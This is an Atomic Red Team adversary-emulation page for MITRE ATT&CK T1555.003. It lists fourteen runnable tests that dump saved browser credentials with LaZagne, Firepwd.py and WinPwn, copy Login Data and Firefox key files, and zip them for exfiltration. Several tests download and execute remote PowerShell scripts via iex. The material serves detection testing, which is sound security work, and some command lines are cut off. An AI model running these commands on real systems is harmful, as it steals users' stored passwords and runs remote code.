



764 lines (467 loc) · 25.7 KB

T1555.003 - Credentials from Web Browsers

Description from ATT&CK

Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default>Login Data and executing a SQL query: `SELECT action_url, username_value, password_value FROM logins;`. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function `CryptUnprotectData`, which uses the victim's cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye

Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](#).

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

Atomic Tests

- [Atomic Test #1 - Run Chrome-password Collector](#)
- [Atomic Test #2 - Search macOS Safari Cookies](#)
- [Atomic Test #3 - LaZagne - Credentials from Browser](#)
- [Atomic Test #4 - Simulating access to Chrome Login Data](#)
- [Atomic Test #5 - Simulating access to Opera Login Data](#)
- [Atomic Test #6 - Simulating access to Windows Firefox Login Data](#)
- [Atomic Test #7 - Simulating access to Windows Edge Login Data](#)
- [Atomic Test #8 - Decrypt Mozilla Passwords with Firepwd.py](#)
- [Atomic Test #9 - LaZagne.py - Dump Credentials from Firefox Browser](#)
- [Atomic Test #10 - Stage Popular Credential Files for Exfiltration](#)
- [Atomic Test #11 - WinPwn - BrowserPwn](#)
- [Atomic Test #12 - WinPwn - Loot local Credentials - mimi-kittenz](#)
- [Atomic Test #13 - WinPwn - PowerSharpPack - Sharpweb for Browser Credentials](#)
- [Atomic Test #14 - Simulating Access to Chrome Login Data - MacOS](#)

Atomic Test #1 - Run Chrome-password Collector

A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of \$env:TEMP\sysinternals\passwordsdb.

Adapted from [MITRE ATTACK Evals](#)

Supported Platforms: Windows

auto_generated_guid: 8c05b133-d438-47ca-a630-19cc464c4622

Inputs:

Name	Description	Type	Default Value
file_path	File path for modified Sysinternals	String	\$env:TEMP

Attack Commands: Run with powershell !

```
Set-Location -path "#{file_path}\Sysinternals";  
./accesschk.exe -accepteula .;
```

Cleanup Commands:

```
Remove-Item #{file_path}\Sysinternals -Force -Recurse -ErrorAction Ignore
```

Dependencies: Run with powershell !

Description: Modified Sysinternals must be located at #{file_path}

Check Prereq Commands:

```
if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b!
Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinterna
Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force
```

Atomic Test #2 - Search macOS Safari Cookies

This test uses `grep` to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.

Upon successful execution, MacOS shell will cd to `~/Libraries/Cookies` and grep for `Cookies.binarycookies`.

Supported Platforms: macOS

auto_generated_guid: c1402f7b-67ca-43a8-b5f3-3143abedc01b

Inputs:

Name	Description	Type	Default Value
search_string	String to search Safari cookies to find.	String	coinbase

Attack Commands: Run with `sh` !

```
cd ~/Library/Cookies
grep -q "#{search_string}" "Cookies.binarycookies"
```

Atomic Test #3 - LaZagne - Credentials from Browser

The following Atomic test utilizes [LaZagne](#) to extract passwords from browsers on the Windows operating system. LaZagne is an open source application used to retrieve passwords stored on a local computer.

Supported Platforms: Windows

auto_generated_guid: 9a2915b3-3954-4cce-8c76-00fbf4dbd014

Inputs:

Name	Description	Type	Default Value
lazagne_path	Path to LaZagne	Path	PathToAtomicsFolder\T1555.003\bin\LaZagne.exe

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
#{{lazagne_path}} browsers
```

Dependencies: Run with `powershell` !

Description: LaZagne.exe must exist on disk at specified location (`#{{lazagne_path}}`)

Check Prereq Commands:

```
if (Test-Path #{{lazagne_path}}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{{lazagne_path}}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/"
```



Atomic Test #4 - Simulating access to Chrome Login Data

Simulates an adversary accessing encrypted credentials from Google Chrome Login database.


Supported Platforms: Windows

auto_generated_guid: 3d111226-d09a-4911-8715-fe11664f960d

Attack Commands: Run with **powershell** !

```
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination:   
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination: 
```

Cleanup Commands:

```
Remove-Item -Path "$env:temp\Login Data" -Force -ErrorAction Ignore   
Remove-Item -Path "$env:temp\Login Data For Account" -Force -ErrorAction Ignore
```


Dependencies: Run with **powershell** !

Description: Chrome must be installed

Check Prereq Commands:

```
if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path 
```

Get Prereq Commands:

```
$installer = "$env:temp\ChromeStandaloneSetup64.msi"   
Invoke-WebRequest -OutFile $env:temp\ChromeStandaloneSetup64.msi https://dl.google.com/dl/chrome/desktop/install/chrome-standalone.exe  
msiexec /i $installer /qn  
Start-Process -FilePath "chrome.exe"  
Stop-Process -Name "chrome"
```

Atomic Test #5 - Simulating access to Opera Login Data

Simulates an adversary accessing encrypted credentials from Opera web browser's login database.

Supported Platforms: Windows

auto_generated_guid: 28498c17-57e4-495a-b0be-cc1e36de408b

Attack Commands: Run with **powershell**!

```
Copy-Item "$env:APPDATA\Opera Software\Opera Stable>Login Data" -Destination $env:·
```

Cleanup Commands:

```
Remove-Item -Path "$env:temp>Login Data" -Force -ErrorAction Ignore
```

Dependencies: Run with **powershell**!

Description: Opera must be installed

Check Prereq Commands:

```
if (((Test-Path "$env:LOCALAPPDATA\Programs\Opera\launcher.exe") -Or (Test-Path "C
```

Get Prereq Commands:

```
$installer = "$env:temp\OperaStandaloneInstaller.exe"
Invoke-WebRequest -OutFile $env:temp\OperaStandaloneInstaller.exe https://get.geo.
Start-Process $installer -ArgumentList '/install /silent /launchopera=1 /setdefault
Start-Sleep -s 180
Stop-Process -Name "opera"
```

Description: Opera login data file must exist

Check Prereq Commands:

```
if (Test-Path "$env:APPDATA\Opera Software\Opera Stable>Login Data") {exit 0} else
```

Get Prereq Commands:

```
New-Item -Path "$env:APPDATA\Opera Software\Opera Stable>Login Data" -ItemType File
```

Atomic Test #6 - Simulating access to Windows Firefox Login Data

Simulates an adversary accessing encrypted credentials from firefox web browser's login database.
more info in <https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data>

Supported Platforms: Windows

auto_generated_guid: eb8da98a-2e16-4551-b3dd-83de49baa14c

Attack Commands: Run with **powershell** !

```
Copy-Item "$env:APPDATA\Mozilla\Firefox\Profiles\" -Destination $env:temp -Force -I
```

Cleanup Commands:

```
Remove-Item -Path "$env:temp\Profiles" -Force -ErrorAction Ignore -Recurse
```

Dependencies: Run with **powershell** !

Description: Firefox must be installed

Check Prereq Commands:

```
if ((Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe") -Or (Test-Path "C:\I
```

Get Prereq Commands:

```
if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$url="https://download.mozilla.org/?l  
$installer = "$env:temp\firefoxsetup.exe"
```



```
(New-Object Net.WebClient).DownloadFile($url,$installer)
Start-Process $installer -ArgumentList '/S' -Wait
```

Description: Firefox login data file must exist

Check Prereq Commands:

```
if (Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$firefox="C:\Program Files\Mozilla F:
Start-Process $firefox -ArgumentList '-CreateProfile Atomic' -Wait
Start-Process $firefox -NoNewWindow
Start-Sleep -s 20
Stop-Process -Name firefox
```

Atomic Test #7 - Simulating access to Windows Edge Login Data

Simulates an adversary accessing encrypted credentials from Edge web browser's login database. more info in <https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/>

Supported Platforms: Windows

auto_generated_guid: a6a5ec26-a2d1-4109-9d35-58b867689329

Attack Commands: Run with **powershell** !

```
Copy-Item "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default" -Destination $env:temp
```

Cleanup Commands:

```
Remove-Item -Path "$env:temp\Edge" -Force -ErrorAction Ignore -Recurse
```

Dependencies: Run with **powershell** !

Description: Edge must be installed

Check Prereq Commands:

```
if (Test-Path "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
"Installation is not implemented as Edge is a part of windows"
```

Description: Edge login data file must exist

Check Prereq Commands:

```
if (Test-Path "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
$edge="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"  
Start-Process $edge  
Start-Sleep -s 20  
Stop-Process -Name msedge
```

Atomic Test #8 - Decrypt Mozilla Passwords with Firepwd.py

Firepwd.py is a script that can decrypt Mozilla (Thunderbird, Firefox) passwords. Upon successful execution, the decrypted credentials will be output to a text file, as well as displayed on screen.

Supported Platforms: Windows

auto_generated_guid: dc9cd677-c70f-4df5-bd1c-f114af3c2381

Inputs:

Name	Description	Type	Default Value
Firepwd_Path	Filepath for Firepwd.py	String	\$env:temp\Firepwd.py
Out_Filepath	Filepath to output results to	String	\$env:temp\T1555.003Test8.txt
VS_CMD_Path	Filepath to Visual Studio Build Tools Command prompt	String	C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Auxiliary\Build\vcvars64.bat
Python_Path	Filepath to python	String	C:\Program Files\Python310\python.exe

Attack Commands: Run with powershell !

```
$PasswordDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*  
cmd /c #{Firepwd_Path} -d $PasswordDBLocation > #{Out_Filepath}  
cat #{Out_Filepath}
```

Cleanup Commands:

```
Remove-Item -Path "#{Out_Filepath}" -erroraction silentlycontinue
```

Dependencies: Run with powershell !

Description: Firepwd must exist at #{Firepwd_Path}

Check Prereq Commands:

```
if (Test-Path "#{Firepwd_Path}") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://raw.githubusercontent.com/lclevy/firepwd/167eabf3b88d5a" 
```

Description: Firefox profile directory must be present

Check Prereq Commands:

```
if (get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\" 
```

Get Prereq Commands:


```
Invoke-WebRequest "https://ftp.mozilla.org/pub/firefox/releases/98.0/win64/en-US/F:   
msiexec.exe /i "$env:temp\firefox.msi" /quiet  
sleep -s 30  
start-process "$env:programfiles\Mozilla Firefox\firefox.exe".  
sleep -s 5  
stop-process -name "firefox"
```

Description: Visual Studio Build Tools command prompt must exist at #{VS_CMD_Path}

Check Prereq Commands:

```
if (Test-Path "#{VS_CMD_Path}") {exit 0} else {exit 1} 
```

Get Prereq Commands:

```
invoke-webrequest "https://aka.ms/vs/17/release/vs_BuildTools.exe" -outfile "$env::   
write-host "Visual Studio Build Tools (Desktop Development with C++) must be insta:
```

Description: Python must be installed

Check Prereq Commands:

```
if (Test-Path "#{Python_Path}") {exit 0} else {exit 1} 
```

Get Prereq Commands:

```
invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe"
Start-Process -FilePath $env:TEMP\python_setup.exe -ArgumentList "/quiet InstallAll"
```

Description: Pip must be installed.

Check Prereq Commands:

```
$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]:
if (pip -v) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
invoke-webrequest "https://bootstrap.pypa.io/ez_setup.py" -outfile "$env:temp\ez_s
invoke-webrequest "https://bootstrap.pypa.io/get-pip.py" -outfile "$env:temp\get-p
cmd /c "$env:temp\ez_setup.py"
cmd /c "$env:temp\get-pip.py"
```

Description: Pycryptodome library must be installed

Check Prereq Commands:

```
$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]:
if (pip show pycryptodome) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]:
if (test-path "#{VS_CMD_Path}") {pip install pycryptodome | out-null | cmd /c %coms|
```

Description: Pyasn1 library must be installed

Check Prereq Commands:

```
$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]:
if (pip show pyasn1) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
$env:Path = [System.Environment]::ExpandEnvironmentVariables([System.Environment]:  
if (test-path "#{VS_CMD_Path}") {pip install pyasn1 | out-null | cmd /c %comspec% /I
```

Atomic Test #9 - LaZagne.py - Dump Credentials from Firefox Browser

Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference
<https://github.com/AlessandroZ/LaZagne>

Supported Platforms: Linux

auto_generated_guid: 87e88698-621b-4c45-8a89-4eaebdeaabb1

Inputs:

Name	Description	Type	Default Value
lazagne_path	Path you put LaZagne Github with LaZagne.py	String	/tmp/LaZagne/Linux
specific_module	You may change the module to "all" for all password that can be found by LaZagne.py	string	browsers -firefox
output_file	This is where output for the Firefox passwords goes	String	/tmp/firefox_password.txt

Attack Commands: Run with **sh** ! Elevation Required (e.g. root or admin)

```
python3 #{lazagne_path}/laZagne.py #{specific_module} >> #{output_file}
```

Cleanup Commands:

```
rm -R /tmp/LaZagne; rm -f #{output_file}
```



Dependencies: Run with `sh`!

Description: Get Lazagne from Github and install requirements

Check Prereq Commands:

```
test -f #{lazagne_path}/laZagne.py
```



Get Prereq Commands:

```
cd /tmp; git clone https://github.com/AlessandroZ/LaZagne; cd /tmp/LaZagne/; pip install
```



Description: Needs git, python3 and some pip stuff

Check Prereq Commands:

```
which git && which python3 && which pip
```



Get Prereq Commands:

```
apt install git; apt install python3-pip -y; pip install pyasn1 psutil Crypto
```



Atomic Test #10 - Stage Popular Credential Files for Exfiltration

This test is designed to search a drive for credential files used by the most common web browsers on Windows (Firefox, Chrome, Opera, and Edge), export the found files to a folder, and zip it, simulating how an adversary might stage sensitive credential files for exfiltration in order to conduct offline password extraction with tools like [firepwd.py](#) or [HackBrowserData](#).

Supported Platforms: Windows

auto_generated_guid: f543635c-1705-42c3-b180-efd6dc6e7ee7

Attack Commands: Run with **powershell** !

```
$exfil_folder = "$env:temp\T1555.003"
if (test-path "$exfil_folder") {} else {new-item -path "$env:temp" -Name "T1555.003"}
$FirefoxCredsLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles"
if (test-path "$FirefoxCredsLocation\key4.db") {copy-item "$FirefoxCredsLocation\key4.db" "$exfil_folder"}
if (test-path "$FirefoxCredsLocation\logins.json") {copy-item "$FirefoxCredsLocation\logins.json" "$exfil_folder"}
if (test-path "$env:localappdata\Google\Chrome\User Data\Default>Login Data") {copy-item "$env:localappdata\Google\Chrome\User Data\Default>Login Data" "$exfil_folder"}
if (test-path "$env:localappdata\Google\Chrome\User Data\Default>Login Data For Accounts") {copy-item "$env:localappdata\Google\Chrome\User Data\Default>Login Data For Accounts" "$exfil_folder"}
if (test-path "$env:appdata\Opera Software\Opera Stable>Login Data") {copy-item "$env:appdata\Opera Software\Opera Stable>Login Data" "$exfil_folder"}
if (test-path "$env:localappdata\Microsoft\Edge\User Data\Default>Login Data") {copy-item "$env:localappdata\Microsoft\Edge\User Data\Default>Login Data" "$exfil_folder"}
compress-archive -path "$exfil_folder" -destinationpath "$exfil_folder.zip" -force
```

Cleanup Commands:

```
Remove-Item -Path "$env:temp\T1555.003.zip" -force -erroraction silentlycontinue
Remove-Item -Path "$env:temp\T1555.003\" -force -recurse -erroraction silentlycontinue
```

Atomic Test #11 - WinPwn - BrowserPwn

Collect Browser credentials as well as the history via winpwn browserpwn function of WinPwn.

Supported Platforms: Windows

auto_generated_guid: 764ea176-fb71-494c-90ea-72e9d85dce76

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('$S3cur3Th1sSh1t_repo/browserpwn -consoleoutput -noninteractive')
```

Cleanup Commands:


```
rm .\System.Data.SQLite.dll -ErrorAction Ignore
```



Atomic Test #12 - WinPwn - Loot local Credentials - mimi-kittenz

Loot local Credentials - mimi-kittenz technique via function of WinPwn - Extend timeout to 600s

Supported Platforms: Windows

auto_generated_guid: ec1d0b37-f659-4186-869f-31a554891611

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/mimi-kittenz -consoleoutput -noninteractive
```



Atomic Test #13 - WinPwn - PowerSharpPack - Sharpweb for Browser Credentials

PowerSharpPack - Sharpweb searching for Browser Credentials technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: e5e3d639-6ea8-4408-9ecd-d5a286268ca0

Attack Commands: Run with **powershell** !

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/Invoke-Sharpweb -command "all"
```



Atomic Test #14 - Simulating Access to Chrome Login Data - MacOS

This test locates the Login Data files used by Chrome to store encrypted credentials, then copies them to the temp directory for later exfil. Once the files are exfiltrated, malware like CookieMiner could be used to perform credential extraction. See <https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/>.

Supported Platforms: macOS

auto_generated_guid: 124e13e5-d8a1-4378-a6ee-a53cd0c7e369

Attack Commands: Run with **sh** !

```
cp ~/Library/"Application Support/Google/Chrome/Default/Login Data" "/tmp/T1555.003_Login Data"
cp ~/Library/"Application Support/Google/Chrome/Default/Login Data For Account" "/tmp/T1555.003_Login Data For Account"
```

Cleanup Commands:

```
rm "/tmp/T1555.003_Login Data" >/dev/null 2>&1
rm "/tmp/T1555.003_Login Data For Account" >/dev/null 2>&1
```